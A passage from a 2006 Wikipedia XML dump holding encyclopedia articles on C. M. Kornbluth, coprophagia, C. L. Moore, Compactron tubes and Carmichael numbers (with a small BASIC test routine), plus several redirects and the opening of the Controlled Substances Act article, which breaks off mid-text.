Kornbluth began writing at fifteen. His first solo work, &quot;King Cole of Pluto,&quot; was published in May 1940 and appeared in [[Science_fiction_magazine|Super Science Stories]] (&quot;Stepsons of Mars,&quot; written with Richard Wilson and published under the name &quot;Ivar Towers&quot; appeared in the April 1940 [[Science_fiction_magazine|Astonishing]]). His other short fiction includes &quot;The Little Black Bag,&quot; &quot;The Marching Morons,&quot; &quot;The Altar at Midnight,&quot; &quot;Ms. Found in a Chinese Fortune Cookie,&quot; &quot;Gomez,&quot; and &quot;The Advent on Channel 12.&quot;

''The Little Black Bag'' was adapted for television by the [[BBC]] in 1969 for its ''[[Out of the Unknown]]'' series. In 1970, the same story was adapted by [[Rod Serling]] for an episode of his ''[[Night Gallery]]'' series. This dramatization starred [[Burgess Meredith]] as an alcoholic derelict; a discredited former doctor who acquires some far-future medical technology, which he uses benevolently ... thus reclaiming his career and redeeming his soul. 

[[The_Marching_Morons|The Marching Morons]] is Kornbluth's most famous short story; it is a satirical look at an overpopulated future, with a population consisting of a few geniuses and a huge number of stupid people, in which the few geniuses are working desperately to keep things running from behind the scenes. Part of its appeal is that readers tend to identify with the oppressed geniuses. Few people realize that &quot;The Marching Morons&quot; is a direct sequel to &quot;The Little Black Bag&quot;: it is easy to miss this, as &quot;Bag&quot; is set in the contemporary present while &quot;Morons&quot; takes place several centuries from now, and there is no character who appears in both stories.

Many of his novels were written as collaborations: either with [[Judith Merril]] (using the pseudonym &quot;Cyril Judd&quot;), or with [[Frederik Pohl]]. A number of short stories remained unfinished  at Kornbluth's death; these were eventually completed and published by Pohl. 

Kornbluth died at the age of thirty four of a heart attack in [[Waverly, Tioga County, New York |Waverly, New York]] although he had lived primarily in [[Chicago, Illinois]].

All of Kornbluth's short stories have been collected as ''His Share of Glory: The Complete Short Fiction of C. M. Kornbluth'' ([[New England Science Fiction Association|NESFA]] Press, 1997).

Kornbluth was also mentioned in Lemony Snicket's [[Series of Unfortunate Events]] as a member of [[V.F.D.]].

==Personality and habits==
Frederik Pohl (in his autobiography ''[[The Way the Future Was]]'') and [[Damon Knight]] (in his memoir ''[[The Futurians]]'') both give vivid descriptions of Kornbluth as a man of odd personal habits and vivid eccentricities. Among the traits which they describe:

* Kornbluth decided to educate himself by reading his way through an entire encyclopedia from A to Z; in the course of this effort, he acquired a great deal of esoteric knowledge that found its way into his stories ... in alphabetical order by subject. When Kornbluth wrote a story that mentioned the ancient Roman weapon ''ballista'', Pohl knew that Kornbluth had finished the &quot;A&quot; volume and had started the &quot;B&quot;.
* According to Pohl, Kornbluth never brushed his teeth, and they were literally green. Deeply embarrassed by this, Kornbluth developed the habit of holding his hand in front of his mouth when speaking.
* Kornbluth disliked black coffee, but felt obliged to acquire a taste for it because he believed that professional authors were &quot;supposed to&quot; drink black coffee. He trained himself by putting gradually less cream into each cup of coffee he drank, until he eventually &quot;weaned himself&quot; (Knight's description) and switched to black coffee.

It should be noted that Pohl and Knight both had deep friendships with Kornbluth, and their affection for him is made clear in their respective memoirs. The first of these stories should be treated as apocryphal because there is similar story told by [[Bertrand Russell]] about [[Aldous Huxley]].

==Selected bibliography==
* ''[[The Marching Morons]]''
* ''Outpost Mars'' (with Judith Merril, first published as a ''[[Galaxy science fiction|Galaxy]]'' serial entitled ''Mars Child'' and AKA ''Sin in Space'', 1951)
* ''[[The Space Merchants]]'' (with Frederik Pohl, first published as a ''Galaxy'' serial entitled ''Gravy Planet'', 1952)
* ''Gunner Cade'' (with Judith Merril, 1952)
* ''Takeoff'' (1952)
* ''[[The Syndic]]'' (1953)
* ''Gladiator at Law'' (with Frederik Pohl, first published as a ''Galaxy'' serial, 1954)
* ''Search the Sky'' (with Frederik Pohl, 1954)
* ''Wolfbane'' (with Frederik Pohl) (first published as a ''Galaxy'' serial, 1954)
* ''[[Not This August]]'' (AKA ''Christmas Eve'', 1955)
* ''Valerie'' (1953, as Jordan Park), a novel about the hypocrisy of the &quot;witch&quot; hunters
* ''Half'' (1953, as Jordan Park), a novel about a hermaphrodite; somewhat dated but remarkable for its time

He also published several mystery novels, including ''A Man of Cold Rages'' (1958, as Jordan Park).

See also: [[Judith Merril]]

[[Category:1923 births|Kornbluth, Cyril M.]]
[[Category:1958 deaths|Kornbluth, Cyril M.]]
[[Category:American writers|Kornbluth, Cyril M.]]
[[Category:Science fiction writers|Kornbluth, Cyril M.]]
[[Category:Hugo Award winning authors|Kornbluth, Cyril M.]]

[[de:Cyril M. Kornbluth]]
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[[th:ไซริล เอ็ม คอร์นบลู๊ท]]</text>
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  <page>
    <title>C.M. Kornbluth</title>
    <id>7717</id>
    <revision>
      <id>37767672</id>
      <timestamp>2006-02-02T01:10:09Z</timestamp>
      <contributor>
        <ip>68.39.174.238</ip>
      </contributor>
      <comment>Not without attribution</comment>
      <text xml:space="preserve">'''C.M. Kornbluth''' may refer to  [[Cyril M. Kornbluth]] (1923 - 1958), a [[science fiction]] [[author]], or to C.M. Kornbluth, a  [[V.F.D.#Members|V.F.D member]] in [[Lemony Snicket]]'s [[children's books]].

{{disambig}}</text>
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  <page>
    <title>Coprophagia</title>
    <id>7720</id>
    <revision>
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      <contributor>
        <username>Woer$</username>
        <id>804429</id>
      </contributor>
      <text xml:space="preserve">'''Coprophagia''' is the consumption of [[feces]], from the Greek ''copros'' (feces) and ''phagein'' (eat).  Many [[animal]] species have evolved to practice coprophagia; other
species do not normally consume feces but may do so under unusual conditions.  Only in rare cases is it practiced by humans.

== Evolved coprophagia ==

[[Image:Dscn3200-2-butterflies.jpg|thumb|right|Two [[Butterfly|butterflies]] feed on a small lump of [[feces]] lying on a rock.]]

[[Coprophagous insect]]s consume and redigest the feces of large animals; these feces contain substantial amounts of semi-digested food.  ([[Herbivore]] digestive systems are especially inefficient.)  Many species exist, the most famous probably being the [[scarab]], sacred in [[ancient Egypt]], and the most ubiquitous being the [[fly]].

[[Pig]]s, like the above insects, will eat the feces of herbivores that leave a significant amount of semidigested matter.  In certain cultures it was common for poor families to collect [[horse]] feces to feed their pigs.  Pigs are also known to eat their own feces and even human feces as well.  However, domesticated pigs should not be allowed to eat any sort of feces, as this contributes to the risk of [[parasite]] infection. [[Muslims]] cite this behavior as a prime reason why they do not eat [[pork]].

[[Rabbit]]s, [[cavies]] ([[guinea pig]]s) and related species do not have the complicated [[ruminant]] digestive system. Instead they extract more nutrition from grass by giving their food a second pass through the gut. Soft [[caecal pellet]]s of partially digested food are excreted and generally consumed immediately. They also produce normal droppings, which are not re-eaten.

Young [[elephant]]s eat the feces of their mother to obtain the necessary [[bacteria]] for the proper digestion of the vegetation found on the savannah.  When they are born, their [[intestine]]s do not contain these bacteria.  Without them, these elephants would be unable to get any nutritional value from plants. 

Hamsters eat their own droppings; this is thought to be a source of [[vitamin]]s B and K, produced by bacteria in the gut. [[Ape]]s have been observed eating [[horse]] droppings for the [[salt]]. [[Monkeys]] have been observed to eat elephant droppings.

== Theories on Dogs ==

Coprophagia is a behavior sometimes observed, with considerable disgust, by [[dog]] owners.  Hofmeister, Cumming, and Dhein (2001) write that this behavior in animals has not been well-researched, and they are (as of this writing) preparing a study.  In a preliminary online paper, they write that there are various theories explaining why animals consume other animals' feces.  According to various theories&amp;mdash;none proven or disproven&amp;mdash;dogs might do this:
*To get attention from their owners.  
*From anxiety, stress,  or having been punished for bad behaviors.
*From boredom.
*In an attempt to clean up in crowded conditions.
*When dogs observe their owners picking up feces, and imitate this behavior ([[allelomimetic behavior]]). This is highly improbable because the behaviour has also been observed in environments where owners never picked up the dog's (or other) feces. 
*Because puppies taste everything and discover that feces are edible and, perhaps, tasty, especially when fed a high fat content diet.
*Because dogs are, by nature, scavengers, and this is within the range of scavenger behavior.
*To prevent the scent from attracting predators, especially mother dogs eating their offsprings' feces.
*Because the texture and temperature of fresh feces approximates that of regurgitated food, which is how canine mothers in the wild would provide solid food.
*Because of the protein content of the feces (particularly cat feces), or over-feeding, leading to large concentrations of undigested matter in the feces.
*Due to assorted health problems, including:
**Pancreatitis
**Intestinal infections
**Food allergies, creating mal-absorption
*Because they are hungry, such as when eating routines are changed, food is withheld, or nutrients aren't properly absorbed.

Another theory proposes that carnivores sometimes eat the feces of their prey in order to ingest and exude scents which camouflage their own.

Several companies produce food additives that can be added to the troublesome animal's food to make its feces taste excessively bad.

== Humans ==

Coprophagia is extremely uncommon in humans.  It is generally thought to be the result of the [[paraphilia]] known as [[coprophilia]], although it is only diagnosable in extreme cases where it disturbs one's functioning.  Consuming other people's feces carries the risk of contracting diseases spread through fecal matter, such as [[hepatitis]].  Hepatitis A, Hepatitis B, pneumonia, and influenza vaccinations are generally recommended for those who engage in this practice[http://www.manscat.com/forum/showthread.php?t=61].  Consuming one's own feces potentially involves risk, as the bowel bacteria and eggs of [[parasitic worm]]s are not safe to ingest. Similar risk can apply to related [[sexual practice]]s, such as [[anilingus]] (often referred to as rimming or a rim job) or inserting an object into the mouth that has recently been in the anus (see [[ass to mouth]]). The practice of coprophagia in humans is depicted in [[Pier Paolo Pasolini]]'s [[1976]] film ''[[Salò o le 120 giornate di Sodoma]]'', in [[John Waters (filmmaker)|John Waters]]' [[1972]] film ''[[Pink Flamingos]]'' starring [[Divine (Glen Milstead)|Divine]] and in [[Thomas Pynchon]]'s [[1973]] novel ''[[Gravity's Rainbow]]''.

Lewin (2001) reports that &quot;... consumption of fresh, warm camel feces has been recommended by Bedouins as a remedy for bacterial dysentery; its efficacy (probably attributable to the antibiotic subtilisin from ''Bacillus subtilis'') was confirmed by German soldiers in Africa during World War II.&quot;

==References==

* {{cite journal | author  = Lewin, Ralph A.
                      | title   = &quot;More on Merde&quot;
                      | journal = Perspectives in Biology and Medicine
                      | year    = 2001
                      | volume  = 44
                      | issue  = 4
                      | pages   = 594-607 }}
* {{Citepaper         | Author      = Hofmeister, Erik, Melinda Cumming, and Cheryl Dhein 
                      | Title       = Owner Documentation of Coprophagia in the Canine
                      | PublishYear = 2001 
                      | URL         = http://www.vetmed.wsu.edu/pets/_archive/study.htm }}.  Accessed November 17, 2005.
* {{cite journal | author  = Wise, T.N., and R.L. Goldberg
                      | title   = &quot;Escalation of a fetish: coprophagia in a nonpsychotic adult of normal intelligence&quot;
                      | journal = J. Sex Marital Ther.
                      | year    = 1995
                      | volume  = 21 
                      | issue   = 4 
                      | pages   = 272-5 }}

==External links==

* [http://www.metrokc.gov/lars/animal/Educate/cassidy/dog/dog15.htm King County, Washington, Animal Control Section.  &quot;Eating His Own or Other Animal Feces.&quot;]
* [http://www.cvm.uiuc.edu/petcolumns/showarticle.cfm?id=166  Why Does My Dog Eat Feces?] - Theresa A. Fuess, Ph.D, College of Vet Medicine
* [http://home.gci.net/~divs/behavior/coprophagia.html Coprophagia in the Canine] - Erik Hofmeister; Melinda Cumming, DVM PhD; Cheryl Dhein, DVM, MS, DACVIM; Douglas Island Veterinary Service; detailed preliminary results of study of behavior and prevention in dogs
*[http://www.hssv.org/BEHAVIOR/dog_stool.htm Santa Clara County Humane Society guidelines for curing coprophagia in dogs]
*[http://ratguide.com/care/behavior/coprophagy.php Rat care guide]

[[Category:Dog health]]
[[Category:Eating behaviors]]
[[Category:Dog training and behavior]]
[[Category:Taboo activities]]
[[Category:Pica]]
[[de:Koprophagie]]
[[eo:Koprofagio]]
[[nl:Coprofagie]]
[[pl:Koprofagia]]
[[pt:Coprofagia]]
[[ru:Копрофагия]]
[[sv:Koprofag]]</text>
    </revision>
  </page>
  <page>
    <title>C. L. Moore</title>
    <id>7721</id>
    <revision>
      <id>41253980</id>
      <timestamp>2006-02-26T02:17:58Z</timestamp>
      <contributor>
        <username>RandomCritic</username>
        <id>838239</id>
      </contributor>
      <comment>spelling</comment>
      <text xml:space="preserve">'''Catherine Lucille Moore''' ([[January 24]], [[1911]] &amp;ndash; [[April 4]], [[1987]]) was an [[United States|American]] [[science fiction]] and [[fantasy]] [[writer]]. She was one of the first women to write in the genre, and paved the way for many other female writers in [[speculative fiction]].

She was born on [[January 24]], [[1911]] in [[Indianapolis, Indiana]]. She was chronically ill as a child and spent much of her time reading literature of the fantastic. She left college during [[The Great Depression]] to work as a secretary at the Fletcher Trust Company in Indianapolis. Her first stories appeared in [[pulp magazines]] in the [[1930s]], including two significant series in ''[[Weird Tales]]''. One series concerns the rogue and adventurer, [[Northwest Smith]], and his wanderings through the [[Solar System]]; the other is a short [[fantasy]] series about [[Jirel of Joiry]] (one of the first female protagonists in [[sword-and-sorcery]] fiction). The most famous of the Northwest Smith stories is [[Shambleau]], which marked Moore’s first professional sale. It appeared in the magazine in [[November]], [[1933]], and the sale netted her a hundred dollars. The first and most famous of the Jirel of Joiry stories is [[Black God’s Kiss]], which received the cover illustration (painted by [[Margaret Brundage]]) in the October 1934 ''Weird Tales''. Her early stories were notable for their emphasis on the senses and emotions, which was highly unusual at the time.

Moore met [[Henry Kuttner]], also a science fiction writer, in 1936 when he wrote her a fan letter (mistakeningly thinking that ‘C. L. Moore‘ was a man), and they married in 1940.  Afterwards, almost all of their stories were written in collaboration under various pseudonyms, most commonly “Lewis Padgett.” In this very prolific partnership they managed to combine Moore's style with Kuttner's more cerebral storytelling. Their stories include the now-classic &quot;Mimsy Were the Borogoves&quot; and &quot;Vintage Season.&quot; They also collaborated on a story that combined Moore’s signature characters, Northwest Smith and Jirel of Joiry: [[Quest of the Starstone]] ([[1937]]). After Kuttner's death in [[1958]], Moore wrote almost no fiction. She did write for a few [[television]] shows under her married name, but upon remarrying in [[1963]], she ceased writing entirely.

C. L. Moore died on [[April 4]], [[1987]] at her home in [[Hollywood, California]] after a long battle with [[Alzheimer's disease]].

More detailed biographical information can be found [http://www.redjacketpress.com/authors/cl_moore.html here.]

==Partial bibliography==

*''[[Earth's Last Citadel]]'' (1943)
*''[[The Mask of Circe]]'' (1948)
*''[[Beyond Earth's Gates]]'' (1949)
*''[http://www.redjacketpress.com/books/judgment_night.html Judgment Night]'' (1952)
*''[[Doomsday Morning]]''   (1957)
*''[[Jirel of Joiry]]'' (1969)

==External links==
*{{isfdb name | id=C._L._Moore | name=C. L. Moore}}
* [http://www.millipedepress.com/centipede_press.html Two-Handed Engine: The Selected Short Fiction of Henry Kuttner &amp; C.L. Moore ]

[[Category:1911 births|Moore, C. L.]]
[[Category:1987 deaths|Moore, C. L.]]
[[Category:American writers|Moore, C. L.]]
[[Category:Fantasy writers|Moore, C. L.]]
[[Category:American science fiction writers|Moore, C. L.]]
[[Category:California writers|Moore, C. L.]]

[[de:C. L. Moore]]</text>
    </revision>
  </page>
  <page>
    <title>Compactron</title>
    <id>7722</id>
    <revision>
      <id>29170703</id>
      <timestamp>2005-11-24T23:55:31Z</timestamp>
      <contributor>
        <username>Aaron Brenneman</username>
        <id>319668</id>
      </contributor>
      <comment>moved photo up</comment>
      <text xml:space="preserve">[[Image:12AE10CompactronTube.jpg|thumb|right|144px|12AE10 Compactron tube (a dual pentode), made by GE]]
The '''Compactron''' is a 12-pin [[vacuum tube]] family introduced in [[1961]] by [[General Electric]] in [[Owensboro, Kentucky]] with the express purpose of keeping tubes in the market for a few more years during the [[solid state]] revolution.  [[Television]] sets were a primary application.  Most Compactrons are either multiple tubes (e.g. three triodes in one bulb), or high-[[voltage]] and high-power types such as television sweep tubes.

A distinguishing feature of most Compactrons is the placement of the seal-off tip on the bottom end, rather than the top end as was customary with &quot;miniature&quot; tubes. Variations of the Compactron design were made by Sylvania and by some Japanese firms. Manufacture of Compactrons ceased in the early [[1990s]].


Examples:
*6AG11 high-mu twin triode
*6M11 twin triode - pentode
*12AE10 twin pentode
*8B10 twin triode - twin diode
*38HK7 pentode diode
*6AF11
*6GB5 beam power pentode with anode cap

[[Category:Vacuum tubes]]

[[fr:Compactron]]</text>
    </revision>
  </page>
  <page>
    <title>Carmichael number</title>
    <id>7723</id>
    <revision>
      <id>41589815</id>
      <timestamp>2006-02-28T09:40:56Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <comment>+cat</comment>
      <text xml:space="preserve">In [[number theory]], a '''Carmichael number''' is a [[composite number|composite]] positive [[integer]] ''n'' which satisfies the [[congruence]] ''b''&lt;sup&gt;''n''&amp;nbsp;&amp;minus;&amp;nbsp;1&lt;/sup&gt; &amp;equiv; 1 (mod ''n'')
for all integers ''b'' which are [[relatively prime]] to ''n'' (see [[modular arithmetic]]). They are named for [[Robert Daniel Carmichael|Robert Carmichael]].

==Overview==

[[Fermat's little theorem]] states that all [[prime numbers]] have that property.  In this sense, Carmichael numbers are similar to prime numbers. They are called [[pseudoprime]]s. Carmichael numbers are sometimes also called '''absolute pseudoprimes'''.

Carmichael numbers are important because they can fool the [[Fermat primality test]], thus they are always ''fermat liars''. Since Carmichael numbers exist, this primality test cannot be relied upon to prove the primality of a number, although it can still be used to prove a number is composite.

Still, as numbers become larger, Carmichael numbers become very rare. For example, there are 585,355 Carmichael numbers between 1 and 10&lt;sup&gt;17&lt;/sup&gt; (approximately one in 170 billion numbers.) The test is still slightly risky compared to other primality tests such as the [[Solovay-Strassen primality test]].  

An alternative and equivalent definition of Carmichael numbers is given by Korselt's theorem from [[1899]].

'''Theorem''' (Korselt 1899): A positive composite integer ''n'' is a Carmichael number if and only if ''n'' is [[square-free integer|square-free]], and for all prime divisors ''p'' of ''n'', it is true that ''p''&amp;nbsp;&amp;minus;&amp;nbsp;1 divides ''n''&amp;nbsp;&amp;minus;&amp;nbsp;1.

It follows from this theorem that all Carmichael numbers are [[odd number|odd]].

Korselt was the first who observed these properties, but he could not find an example. In [[1910]] [[Robert Daniel Carmichael]] found the first and smallest such number, [[561_(number)|561]], and hence the name.  

That 561 is a Carmichael number can be seen with Korselt's theorem. Indeed, 561 = 3 · 11 · 17 is squarefree and 2 | 560, 10 | 560 and 16 | 560. (The notation ''a''&amp;nbsp;|&amp;nbsp;''b'' means: ''a'' [[divisor|divides]] ''b'').

The next few Carmichael numbers are {{OEIS|id=A002997}}:
:1105 = 5 · 13 · 17 &amp;nbsp;&amp;nbsp; (4 | 1104, 12 | 1104, 16 | 1104)
:[[1729 (number)|1729]] = 7 · 13 · 19 &amp;nbsp;&amp;nbsp; (6 | 1728, 12 | 1728, 18 | 1728)
:2465 = 5 · 17 · 29 &amp;nbsp;&amp;nbsp; (4 | 2464, 16 | 2464, 28 | 2464)
:2821 = 7 · 13 · 31 &amp;nbsp;&amp;nbsp; (6 | 2820, 12 | 2820, 30 | 2820)
:6601 = 7 · 23 · 41 &amp;nbsp;&amp;nbsp; (6 | 6600, 22 | 6600, 40 | 6600)
:8911 = 7 · 19 · 67 &amp;nbsp;&amp;nbsp; (6 | 8910, 18 | 8910, 66 | 8910)

J. Chernick proved a theorem in 1939 which can be used to construct a [[subset]] of Carmichael numbers. The number
(6''k''&amp;nbsp;+&amp;nbsp;1)(12''k''&amp;nbsp;+&amp;nbsp;1)(18''k''&amp;nbsp;+&amp;nbsp;1)
is a Carmichael number if its three factors are all prime. 

[[Paul Erd&amp;#337;s]] heuristically argued there should be infinitely many Carmichael numbers. In [[1994]] it was shown by [[William Alford]], [[Andrew Granville]] and [[Carl Pomerance]] that there really exist infinitely many Carmichael numbers.

It has also been shown that for sufficiently large ''n'', there are at least ''n''&lt;sup&gt;2/7&lt;/sup&gt; Carmichael numbers between 1 and ''n''.

Löh and Niebuhr in [[1992]] found some of these huge Carmichael numbers including one with 1,101,518 factors and over 16 million digits.

===Properties===

Carmichael numbers have at least three positive prime factors. The first Carmichael numbers with ''k''&amp;nbsp;=&amp;nbsp;3, 4, 5,&amp;nbsp;&amp;hellip; prime factors are (sequence [http://www.research.att.com/cgi-bin/access.cgi/as/njas/sequences/eisA.cgi?Anum=006931 A006931] in [[OEIS]]):

{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;
|- 
!''k'' !!&amp;nbsp;
|-
|3 ||561 = 3 · 11 · 17 
|-
|4 ||41041 = 7 · 11 · 13 · 41  
|-
|5 ||825265 = 5 · 7 · 17 · 19 · 73 
|-
|6 ||321197185 = 5 · 19 · 23 · 29 · 37 · 137 
|-
|7 ||5394826801 = 7 · 13 · 17 · 23 · 31 · 67 · 73 
|-
|8 ||232250619601 = 7 · 11 · 13 · 17 · 31 · 37 · 73 · 163 
|-
|9 ||9746347772161 = 7 · 11 · 13 · 17 · 19 · 31 · 37 · 41 · 641 
|}

The first Carmichael numbers with 4 prime factors are (sequence [http://www.research.att.com/cgi-bin/access.cgi/as/njas/sequences/eisA.cgi?Anum=A074379 A074379] in [[OEIS]]):

{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;
|-
!''i'' !!&amp;nbsp;
|-
|1||41041 = 7 · 11 · 13 · 41 
|-
|2|| 62745 = 3 · 5 · 47 · 89
|-
|3||63973 = 7 · 13 · 19 · 37
|-
|4||75361 = 11 · 13 · 17 · 31
|-
|5||101101 = 7 · 11 · 13 · 101
|-
|6||126217 = 7 · 13 · 19 · 73
|-
|7||172081 = 7 · 13 · 31 · 61
|-
|8||188461 = 7 · 13 · 19 · 109
|-
|9||278545 = 5 · 17 · 29 · 113
|-
|10||340561 = 13 · 17 · 23 · 67
|}

Incidentally, the first Carmichael number (561) is expressible as the sum of two nonnegative first powers in more ways than any smaller number (although admittedly ''all'' nonnegative integers share this property). The second Carmichael number (1105) can be expressed as the sum of two squares in more ways than any smaller number. The third Carmichael number (1729) is the [[1729 (number)|Hardy-Ramanujan Number]]: the smallest number that can be expressed as the sum of two cubes in two different ways.

== Higher-order Carmichael numbers ==

Carmichael numbers can be generalized using concepts of [[abstract algebra]].

The above definition states that a composite integer ''n'' is Carmichael 
precisely when the ''n''th-power-raising function ''p''&lt;sub&gt;''n''&lt;/sub&gt; from the [[ring (mathematics)|ring]] '''Z'''&lt;sub&gt;''n''&lt;/sub&gt; of integers modulo ''n'' to itself is the identity function. The identity is the only '''Z'''&lt;sub&gt;''n''&lt;/sub&gt;-[[algebra over a field|algebra]] [[endomorphism]] on '''Z'''&lt;sub&gt;''n''&lt;/sub&gt; so we can restate the definition as asking that ''p''&lt;sub&gt;''n''&lt;/sub&gt; be an algebra endomorphism of '''Z'''&lt;sub&gt;''n''&lt;/sub&gt;.
As above, ''p''&lt;sub&gt;''n''&lt;/sub&gt; satisfies the same property whenever ''n'' is prime.

The ''n''th-power-raising function ''p''&lt;sub&gt;''n''&lt;/sub&gt; is also defined on any '''Z'''&lt;sub&gt;''n''&lt;/sub&gt;-algebra '''A'''. A theorem states that ''n'' is prime if and only if all such functions ''p''&lt;sub&gt;''n''&lt;/sub&gt; are algebra endomorphisms.

In-between these two conditions lies the definition of '''Carmichael number of order m''' for any positive integer ''m'' as any composite number ''n'' such that ''p''&lt;sub&gt;''n''&lt;/sub&gt; is an endomorphism on every '''Z'''&lt;sub&gt;''n''&lt;/sub&gt;-algebra that can be generated as '''Z'''&lt;sub&gt;''n''&lt;/sub&gt;-[[module (mathematics)|module]] by ''m'' elements. Carmichael numbers of order 1 are just the ordinary Carmichael numbers.

===Properties===

Korselt's criterion can be generalized to higher-order Carmichael numbers, see Howe's paper listed below.

A heuristic argument, given in the same paper, appears to suggest that there are infinitely many Carmichael numbers of order ''m'', for any ''m''. However, not a single Carmichael number of order 3 or above is known.

==Layman's overview==

To see if a number ''n'' is a Carmichael number:
* ''n'' must not be prime (must have factors)
* For every number ''b'' less than ''n'' which has no factors in common with ''n''
** (''b''&lt;sup&gt;''n''&amp;nbsp;&amp;minus;&amp;nbsp;1&lt;/sup&gt;) mod ''n'' = 1

The following algorithm (in BASIC) performs this test:
 INPUT n
 n1 = n - 1
 fail = 0
 somefactor = 0
 FOR b = 2 TO n1
  IF coprime(b, n) THEN
   bi = 1
   FOR i = 1 TO n1
    bi = bi * b
    bi = bi MOD n
   NEXT i
   IF bi &lt;&gt; 1 THEN
    fail = b
    EXIT FOR
   END IF
  ELSE
   somefactor = 1
  END IF
 NEXT b
 IF fail &gt; 0 THEN
  PRINT n; &quot;fails for b=&quot;; fail
 ELSEIF n &lt;= 1 THEN
  PRINT n; &quot;is 0 or 1&quot;
 ELSEIF somefactor = 0 THEN
  PRINT n; &quot;is a prime&quot;
 ELSE
  PRINT n; &quot;is a Carmichael number&quot;
 END IF

This produces results such as:
 560 fails for b= 3 
 561 is a Carmichael number
 562 fails for b= 3 
 563 is a prime
 564 fails for b= 5

==References==
* Chernick, J. (1935). On Fermat's simple theorem. ''Bull. Amer. Math. Soc.'' '''45''', 269&amp;ndash;274.
* Ribenboim, Paolo (1996). ''The New Book of Prime Number Records''.
* Howe, Everett W. (2000). Higher-order Carmichael numbers. ''Mathematics of Computation'' '''69''', 1711&amp;ndash;1719. [http://arxiv.org/abs/math.NT/9812089 (online version)]
* Löh, Günter and Niebuhr, Wolfgang (1996).  [http://www.ams.org/mcom/1996-65-214/S0025-5718-96-00692-8/S0025-5718-96-00692-8.pdf ''A new algorithm for constructing large Carmichael numbers''](pdf)
* Korselt (1899). Probleme chinois. ''L'intermediaire des mathematiciens'', '''6''', 142&amp;ndash;143.
* Carmichael, R. D. (1912) On composite numbers P which satisfy the Fermat congruence &lt;math&gt;a^{P-1}\equiv 1\bmod P&lt;/math&gt;. ''Am. Math. Month.'' '''19''' 22&amp;ndash;27.  
* Erd&amp;#337;s, Paul (1956). On pseudoprimes and Carmichael numbers, ''Publ. Math. Debrecen'' '''4''', 201 &amp;ndash;206. 
* Alford, Granville and Pomerance (1994). There are infinitely many Carmichael numbers, ''Ann. of Math.'' '''140'''(3), 703&amp;ndash;722.
 

==External links==
* [http://de.wikibooks.org/wiki/Pseudoprimzahlen:_Tabelle_Carmichael-Zahlen Table of Carmichael numbers]
* [http://www.mathpages.com/home/kmath028.htm Mathpages: The Dullness of 1729]

[[Category:Modular arithmetic]]
[[Category:Pseudoprimes]]
[[Category:Integer sequences]]

[[de:Carmichael-Zahl]]
[[es:Número de Carmichael]]
[[fr:Nombre de Carmichaël]]
[[ko:카마이클 수]]
[[sl:Carmichaelovo &amp;#353;tevilo]]
[[zh:卡邁克爾數]]
[[fi:Carmichaelin luku]]</text>
    </revision>
  </page>
  <page>
    <title>Contrapositive</title>
    <id>7724</id>
    <revision>
      <id>29760532</id>
      <timestamp>2005-12-01T02:33:19Z</timestamp>
      <contributor>
        <username>Amerindianarts</username>
        <id>114185</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Contraposition]]</text>
    </revision>
  </page>
  <page>
    <title>Chinese Remainder Theorem</title>
    <id>7725</id>
    <revision>
      <id>15905781</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Chinese_remainder_theorem]]
</text>
    </revision>
  </page>
  <page>
    <title>Cow story</title>
    <id>7726</id>
    <revision>
      <id>15905782</id>
      <timestamp>2002-10-09T14:07:55Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[You_have_two_cows]]</comment>
      <text xml:space="preserve">#REDIRECT [[You_have_two_cows]]</text>
    </revision>
  </page>
  <page>
    <title>Controlled Substances Act</title>
    <id>7727</id>
    <revision>
      <id>41873421</id>
      <timestamp>2006-03-02T07:25:34Z</timestamp>
      <contributor>
        <username>Adavidw</username>
        <id>767795</id>
      </contributor>
      <minor />
      <comment>rewording for better readability; spelling</comment>
      <text xml:space="preserve">The '''Controlled Substances Act''' ('''CSA''') was enacted into law by the [[Congress of the United States]] as Title II of the [[Comprehensive Drug Abuse Prevention and Control Act of 1970]] ([http://www.law.cornell.edu/uscode/html/uscode21/usc_sup_01_21_10_13.html 21 U.S.C. Chapter 13]).  The CSA is the legal basis by which the manufacture, importation, possession, and distribution of certain drugs are regulated by the federal government of the [[United States]].  The Act also served as the national implementing legislation for the [[Single Convention on Narcotic Drugs]].

The legislation created five Schedules (classifications), with varying qualifications for a drug to be included in each.  Two federal departments, the [[United States Department of Justice|Department of Justice]] and the [[Department of Health and Human Services]] (which includes the [[Food and Drug Administration]]) determine which drugs are added or removed from the various schedules; though the statute passed by Congress created the initial listing.  Classification decisions are required to be made on the criteria of potential for abuse, accepted medical use in the United States, and potential for addiction.

The Department of Justice is also the executive agency in charge of federal law enforcement (i.e. it is the federal police force).  State governments also regulate certain drugs.

==Enforcement authority==
Proceedings to add, delete, or change the schedule of a drug or other substance may be initiated by the [[Drug Enforcement Administration]] (DEA), the [[Department of Health and Human Services]] (HHS), or by petition from any interested party, including the manufacturer of a drug, a medical society or association, a pharmacy association, a public interest group concerned with drug abuse, a state or local government agency, or an individual citizen. When a petition is received by the DEA, the agency begins its own investigation of the drug.

The DEA also may begin an investigation of a drug at any time based upon information received from law enforcement laboratories, state and local law enforcement and regulatory agencies, or other sources of information.

Once the DEA has collected the necessary data, the DEA Administrator, by authority of the Attorney General, requests from the HHS a scientific and medical evaluation and recommendation as to whether the drug or other substance should be controlled or removed from control. This request is sent to the Assistant Secretary of Health of the HHS. Then, the HHS solicits information from the Commissioner of the [[Food and Drug Administration]] and evaluations and recommendations from the [[National Institute on Drug Abuse]], and on occasion, from the scientific and medical community at large. The Assistant Secretary, by authority of the Secretary, compiles the information and transmits back to the DEA a medical and scientific evaluation regarding the drug or other substance, a recommendation as to whether the drug should be controlled, and in what schedule it should be placed.

The medical and scientific evaluations are binding to the DEA with respect to scientific and medical matters. The recommendation on scheduling is binding only to the extent that if HHS recommends that the substance not be controlled, the DEA may not control the substance.

Once the DEA has received the scientific and medical evaluation from HHS, the Administrator will evaluate all available data and make a final decision whether to propose that a drug or other substance be controlled and into which schedule it should be placed.

